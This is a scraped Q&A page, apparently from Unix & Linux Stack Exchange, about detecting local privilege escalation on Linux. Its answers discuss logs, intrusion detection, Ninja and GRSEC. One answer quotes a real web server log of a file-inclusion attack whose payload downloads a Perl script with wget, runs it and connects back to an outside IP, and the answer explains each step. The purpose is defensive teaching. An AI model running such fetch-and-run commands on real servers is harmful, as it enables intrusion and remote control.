Privilege escalation detection? The 2019 Stack Overflow Developer Survey Results Are InWhat are some common tools for intrusion detection?How sudo/root-ness detection worksNinja privilege escalation problem(CentOS-6.5) How to implement GNOME environment privilege escalation like GKSUDO?Use root privilege without passwordPerform action upon chassis intrustion detectionHow to detect and mitigate the Intel escalation of privilege vulnerability on a Linux system (CVE-2017-5689)?“WannaCry” on Linux systems: How do you protect yourself?How to mitigate the multiple vulnerability : remote code execution and local privilege escalation on FreeBSD 11?Launching zypper command with root privilege

What are the motivations for publishing new editions of an existing textbook, beyond new discoveries in a field?

What does Linus Torvalds mean when he says that Git "never ever" tracks a file?

How to support a colleague who finds meetings extremely tiring?

Is three citations per paragraph excessive for undergraduate research paper?

Is an up-to-date browser secure on an out-of-date OS?

Delete all lines which don't have n characters before delimiter

Falsification in Math vs Science

FPGA - DIY Programming

Earliest use of the term "Galois extension"?

Is this app Icon Browser Safe/Legit?

Are there any other methods to apply to solving simultaneous equations?

Why did Acorn's A3000 have red function keys?

Can a rogue use sneak attack with weapons that have the thrown property even if they are not thrown?

For what reasons would an animal species NOT cross a *horizontal* land bridge?

Time travel alters history but people keep saying nothing's changed

Did Scotland spend $250,000 for the slogan "Welcome to Scotland"?

Is there a symbol for a right arrow with a square in the middle?

Does the shape of a die affect the probability of a number being rolled?

Why didn't the Event Horizon Telescope team mention Sagittarius A*?

Is a "Democratic" Oligarchy-Style System Possible?

Can a flute soloist sit?

How technical should a Scrum Master be to effectively remove impediments?

One word riddle: Vowel in the middle

Shouldn't "much" here be used instead of "more"?



Privilege escalation detection?



The 2019 Stack Overflow Developer Survey Results Are InWhat are some common tools for intrusion detection?How sudo/root-ness detection worksNinja privilege escalation problem(CentOS-6.5) How to implement GNOME environment privilege escalation like GKSUDO?Use root privilege without passwordPerform action upon chassis intrustion detectionHow to detect and mitigate the Intel escalation of privilege vulnerability on a Linux system (CVE-2017-5689)?“WannaCry” on Linux systems: How do you protect yourself?How to mitigate the multiple vulnerability : remote code execution and local privilege escalation on FreeBSD 11?Launching zypper command with root privilege



.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;








4















Everytime when I read about some local privilege escalation exploit (e.g. this).



I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a Gnu/Linux machine prepared with a configuration that,
if root logs into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...



Does my idea makes sense, or are most of the exploits undetectable due their nature?










share|improve this question
























  • A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

    – lgeorget
    May 23 '13 at 4:04

















4















Everytime when I read about some local privilege escalation exploit (e.g. this).



I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a Gnu/Linux machine prepared with a configuration that,
if root logs into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...



Does my idea makes sense, or are most of the exploits undetectable due their nature?










share|improve this question
























  • A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

    – lgeorget
    May 23 '13 at 4:04













4












4








4


2






Everytime when I read about some local privilege escalation exploit (e.g. this).



I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a Gnu/Linux machine prepared with a configuration that,
if root logs into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...



Does my idea makes sense, or are most of the exploits undetectable due their nature?










share|improve this question
















Everytime when I read about some local privilege escalation exploit (e.g. this).



I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a Gnu/Linux machine prepared with a configuration that,
if root logs into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...



Does my idea makes sense, or are most of the exploits undetectable due their nature?







linux security root






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Apr 7 at 10:40









ctrl-alt-delor

12.4k52662




12.4k52662










asked May 23 '13 at 3:19









Martin V.Martin V.

2551412




2551412












  • A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

    – lgeorget
    May 23 '13 at 4:04

















  • A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

    – lgeorget
    May 23 '13 at 4:04
















A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

– lgeorget
May 23 '13 at 4:04





A machine can detect when root logs in thanks to pam (the authentication module). Have a look at /var/log/auth.log for example.

– lgeorget
May 23 '13 at 4:04










3 Answers
3






active

oldest

votes


















3














Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.



buffer overflow



This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.



The good news:



  • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.

  • in breaking in the attacker has left a considerable trail in a number of areas.
    • The firewall logs

    • Webserver logs

    • Other potential security tool logs


The bad news:



  • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.

  • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

detecting root logins



Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.



example #1:



A would be attacker could gain root access by doing the following:



  1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.

  2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.

  3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.

  4. Overflow the tool ls to gain access to the root account.

example #2:



A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.



  1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.

  2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.

  3. Attacker uploads "image" to the forum site.

  4. Now attacker "tricks" webapp X into running his "image".

  5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

web server log file of such an attack



201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200


NOTE: sample log from an Apache web server courtesy OSSEC.net.



Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:



  1. cd /tmp

  2. wget http://72.36.254.26/~fanta/dc.txt

  3. perl dc.txt 72.36.21.183 21

So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.



Disabling a "compromised" server



The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.



  1. If the attacker can get into the first system, then they can probably get into the second system.

  2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.

  3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.

  4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

Attempting to limit damage



I could go on and on but in general you have a few resources available when it comes to securing a system.



  • Use tools such as tripwire to detect changes on a system's file system.

  • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.

  • Analyze log files using tools to detect anomalies.

  • Keep systems current and up to date with patches.

  • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.

  • IDS - intrusion detection software.





share|improve this answer






























    1














    The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.



    Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.



    Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).



    A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.






    share|improve this answer






























      1














      A good question!



      On multi user systems you just need some safeguards should a local root exploit succeed.



      The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.




      Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.




      A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.



      GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.






      share|improve this answer























      • Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

        – Martin V.
        Jun 19 '13 at 2:32












      • @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

        – jkj
        Jun 19 '13 at 19:23











      Your Answer








      StackExchange.ready(function()
      var channelOptions =
      tags: "".split(" "),
      id: "106"
      ;
      initTagRenderer("".split(" "), "".split(" "), channelOptions);

      StackExchange.using("externalEditor", function()
      // Have to fire editor after snippets, if snippets enabled
      if (StackExchange.settings.snippets.snippetsEnabled)
      StackExchange.using("snippets", function()
      createEditor();
      );

      else
      createEditor();

      );

      function createEditor()
      StackExchange.prepareEditor(
      heartbeatType: 'answer',
      autoActivateHeartbeat: false,
      convertImagesToLinks: false,
      noModals: true,
      showLowRepImageUploadWarning: true,
      reputationToPostImages: null,
      bindNavPrevention: true,
      postfix: "",
      imageUploader:
      brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
      contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
      allowUrls: true
      ,
      onDemand: true,
      discardSelector: ".discard-answer"
      ,immediatelyShowMarkdownHelp:true
      );



      );













      draft saved

      draft discarded


















      StackExchange.ready(
      function ()
      StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f76766%2fprivilege-escalation-detection%23new-answer', 'question_page');

      );

      Post as a guest















      Required, but never shown

























      3 Answers
      3






      active

      oldest

      votes








      3 Answers
      3






      active

      oldest

      votes









      active

      oldest

      votes






      active

      oldest

      votes









      3














      Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.



      buffer overflow



      This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.



      The good news:



      • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.

      • in breaking in the attacker has left a considerable trail in a number of areas.
        • The firewall logs

        • Webserver logs

        • Other potential security tool logs


      The bad news:



      • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.

      • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

      detecting root logins



      Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.



      example #1:



      A would be attacker could gain root access by doing the following:



      1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.

      2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.

      3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.

      4. Overflow the tool ls to gain access to the root account.

      example #2:



      A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.



      1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.

      2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.

      3. Attacker uploads "image" to the forum site.

      4. Now attacker "tricks" webapp X into running his "image".

      5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

      web server log file of such an attack



      201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
      "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
      &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
      %2072.36.21.183%2021 HTTP/1.1" 200


      NOTE: sample log from an Apache web server courtesy OSSEC.net.



      Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:



      1. cd /tmp

      2. wget http://72.36.254.26/~fanta/dc.txt

      3. perl dc.txt 72.36.21.183 21

      So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.



      Disabling a "compromised" server



      The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.



      1. If the attacker can get into the first system, then they can probably get into the second system.

      2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.

      3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.

      4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

      Attempting to limit damage



      I could go on and on but in general you have a few resources available when it comes to securing a system.



      • Use tools such as tripwire to detect changes on a system's file system.

      • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.

      • Analyze log files using tools to detect anomalies.

      • Keep systems current and up to date with patches.

      • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.

      • IDS - intrusion detection software.





      share|improve this answer



























        3














        Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.



        buffer overflow



        This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.



        The good news:



        • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.

        • in breaking in the attacker has left a considerable trail in a number of areas.
          • The firewall logs

          • Webserver logs

          • Other potential security tool logs


        The bad news:



        • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.

        • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

        detecting root logins



        Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.



        example #1:



        A would be attacker could gain root access by doing the following:



        1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.

        2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.

        3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.

        4. Overflow the tool ls to gain access to the root account.

        example #2:



        A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.



        1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.

        2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.

        3. Attacker uploads "image" to the forum site.

        4. Now attacker "tricks" webapp X into running his "image".

        5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

        web server log file of such an attack



        201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
        "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
        &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
        %2072.36.21.183%2021 HTTP/1.1" 200


        NOTE: sample log from an Apache web server courtesy OSSEC.net.



        Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:



        1. cd /tmp

        2. wget http://72.36.254.26/~fanta/dc.txt

        3. perl dc.txt 72.36.21.183 21

        So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.



        Disabling a "compromised" server



        The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.



        1. If the attacker can get into the first system, then they can probably get into the second system.

        2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.

        3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.

        4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

        Attempting to limit damage



        I could go on and on but in general you have a few resources available when it comes to securing a system.



        • Use tools such as tripwire to detect changes on a system's file system.

        • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.

        • Analyze log files using tools to detect anomalies.

        • Keep systems current and up to date with patches.

        • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.

        • IDS - intrusion detection software.





        share|improve this answer

























          3












          3








          3







          Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.



          buffer overflow



          This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.



          The good news:



          • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.

          • in breaking in the attacker has left a considerable trail in a number of areas.
            • The firewall logs

            • Webserver logs

            • Other potential security tool logs


          The bad news:



          • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.

          • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

          detecting root logins



          Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.



          example #1:



          A would be attacker could gain root access by doing the following:



          1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.

          2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.

          3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.

          4. Overflow the tool ls to gain access to the root account.

          example #2:



          A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.



          1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.

          2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.

          3. Attacker uploads "image" to the forum site.

          4. Now attacker "tricks" webapp X into running his "image".

          5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

          web server log file of such an attack



          201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
          "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
          &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
          %2072.36.21.183%2021 HTTP/1.1" 200


          NOTE: sample log from an Apache web server courtesy OSSEC.net.



          Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:



          1. cd /tmp

          2. wget http://72.36.254.26/~fanta/dc.txt

          3. perl dc.txt 72.36.21.183 21

          So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.



          Disabling a "compromised" server



          The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.



          1. If the attacker can get into the first system, then they can probably get into the second system.

          2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.

          3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.

          4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

          Attempting to limit damage



          I could go on and on but in general you have a few resources available when it comes to securing a system.



          • Use tools such as tripwire to detect changes on a system's file system.

          • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.

          • Analyze log files using tools to detect anomalies.

          • Keep systems current and up to date with patches.

          • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.

          • IDS - intrusion detection software.





          share|improve this answer













          Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.



          buffer overflow



          This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.



          The good news:



          • most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.

          • in breaking in the attacker has left a considerable trail in a number of areas.
            • The firewall logs

            • Webserver logs

            • Other potential security tool logs


          The bad news:



          • They've gained access to a system, and so have a beachhead where they can continue trying to break in further.

          • The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

          detecting root logins



          Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.



          example #1:



          A would be attacker could gain root access by doing the following:



          1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.

          2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.

          3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.

          4. Overflow the tool ls to gain access to the root account.

          example #2:



          A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.



          1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.

          2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.

          3. Attacker uploads "image" to the forum site.

          4. Now attacker "tricks" webapp X into running his "image".

          5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

          web server log file of such an attack



          201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
          "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
          &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
          %2072.36.21.183%2021 HTTP/1.1" 200


          NOTE: sample log from an Apache web server courtesy OSSEC.net.



          Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:



          1. cd /tmp

          2. wget http://72.36.254.26/~fanta/dc.txt

          3. perl dc.txt 72.36.21.183 21

          So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.



          Disabling a "compromised" server



          The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.



          1. If the attacker can get into the first system, then they can probably get into the second system.

          2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.

          3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.

          4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

          Attempting to limit damage



          I could go on and on but in general you have a few resources available when it comes to securing a system.



          • Use tools such as tripwire to detect changes on a system's file system.

          • Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.

          • Analyze log files using tools to detect anomalies.

          • Keep systems current and up to date with patches.

          • Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.

          • IDS - intrusion detection software.






          share|improve this answer












          share|improve this answer



          share|improve this answer










          answered May 23 '13 at 9:06









          slmslm

          256k71544689




          256k71544689























              1














              The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.



              Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.



              Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).



              A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.






              share|improve this answer



























                1














                The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.



                Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.



                Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).



                A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.






                share|improve this answer

























                  1












                  1








                  1







                  The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.



                  Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.



                  Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).



                  A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.






                  share|improve this answer













                  The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.



                  Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.



                  Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).



                  A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.







                  share|improve this answer












                  share|improve this answer



                  share|improve this answer










                  answered May 25 '13 at 23:48









                  GillesGilles

                  547k13011131628




                  547k13011131628





















                      1














                      A good question!



                      On multi user systems you just need some safeguards should a local root exploit succeed.



                      The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.




                      Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.




                      A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.



                      GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.






                      share|improve this answer























                      • Again naive question : Wouldn't be great to integrate Ninja into kernel in such way that it would not be stopped ?

                        – Martin V.
                        Jun 19 '13 at 2:32












                      • @MartinV. You can consider Ninja a workaround if you are unable to use GRSEC kernel and RBAC. With RBAC, kernel can kill unauthorized sessions and processes.

                        – jkj
                        Jun 19 '13 at 19:23















                      1














                      A good question!



                      On multi user systems you just need some safeguards should a local root exploit succeed.



                      The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.




                      Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.




